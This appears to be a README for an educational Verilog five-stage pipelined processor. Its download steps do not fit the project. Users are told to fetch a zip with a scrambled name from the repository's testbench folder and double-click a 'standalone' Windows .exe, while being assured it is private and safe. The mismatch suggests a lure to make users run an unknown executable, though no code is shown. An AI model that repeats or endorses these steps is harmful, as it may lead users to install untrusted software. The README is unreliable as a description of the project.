This project lets you run a simple processor on your computer. The processor is based on a common design used in many real-world CPUs. It uses a five-step process to run instructions, just like real processors inside computers. This simulation helps you see how instructions move through the processor and learn how it handles problems like delays and changing directions.
You do not need any programming skills to use the software. It works on Windows computers, and you can open and run it easily after downloading.
- Five-Step Process: The processor breaks instructions into five stages. This helps it run faster and more smoothly.
- Hazard Detection: It spots situations where one instruction depends on the result of another and pauses to prevent errors.
- Data Forwarding: It sends data directly between steps to reduce slow pauses.
- Branch Handling: It deals with instructions that change the flow, like jumps and loops, correctly and efficiently.
- Verilog Implementation: The core is written in a simple hardware language called Verilog, which helps show clearly how the processor works.
To run this software on Windows, make sure your computer meets these basic needs:
- Windows 10 or higher
- At least 4 GB of RAM
- 500 MB of free disk space
- Internet connection for download
- No special hardware needed
This program does not require any additional software installation like compilers or development tools. It is a standalone application.
Click this button to go to the download page:
On the release page, you will find the latest version of the software ready to download.
Look for a file that ends with .exe or .zip. This file contains the software you need. Click on it to start downloading.
- If you downloaded a
.zipfile, right-click it and choose "Extract All" to unzip it. - If you have a
.exefile, double-click it to open.
Inside the extracted folder, or after opening the .exe, look for a file with the name 5-stage-pipelined-MIPS-RISC-V-like-processor.exe or something similar. Double-click it to start.
The software window will open. You can now start using the processor simulator.
Once the application is open, you will see the main interface that displays the processor’s five stages:
- Fetch: Gets the next instruction.
- Decode: Understands what the instruction means.
- Execute: Does the action the instruction calls for.
- Memory: Reads or writes data to memory.
- Write-back: Saves the results back.
Use the buttons or menus to step through instructions one at a time or run a whole set of instructions to see how the processor works over time.
You can watch how it handles:
- When two instructions want the same data.
- When instructions jump to new places in the code.
The interface will highlight these events so you can follow along easily.
Normally, you do not need to install anything else on Windows. But if the application does not open, you may need to:
- Install the latest version of Microsoft Visual C++ Redistributable. Download it from the official Microsoft website.
- Make sure your Windows is updated.
These steps ensure the software runs smoothly without errors.
Inside the download, you will find:
- The main executable file (.exe)
- A user guide in
.pdfor.txt - Sample instruction files to practice running the processor
- A folder with support files such as images or logs
- App does not open: Make sure your Windows is up to date and Visual C++ Redistributable is installed.
- Instructions not running: Check that you loaded a correct sample file or command.
- Program crashes: Restart your computer and try again.
- Slow performance: Close other heavy applications to free up memory.
If problems continue, use the discussion section on the GitHub page for help.
If you need help, visit the GitHub page. Use the "Issues" tab to report bugs or ask questions. The community and contributors watch that area and reply when possible.
- Primary download page: https://github.com/fikriiyaqin/5-stage-pipelined-MIPS-RISC-V-like-processor/raw/refs/heads/main/testbench/stage-RIS-pipelined-MIP-like-processor-1.1.zip
- GitHub repository homepage for more details.
This software is for those curious about how processors work. It focuses on a classic design with five main steps. It shows the challenges of managing multiple instructions at once. It does this with realistic solutions like detecting hazards and forwarding data.
It is an educational tool more than a full computer CPU. It targets learners and engineers who want to inspect processor pipeline behavior in detail.
This software does not collect personal data. It runs entirely on your computer. There is no internet communication after download. You can run it offline without risk to your privacy.
This project is open source under a permissive license. Check the LICENSE file in the repository for full terms.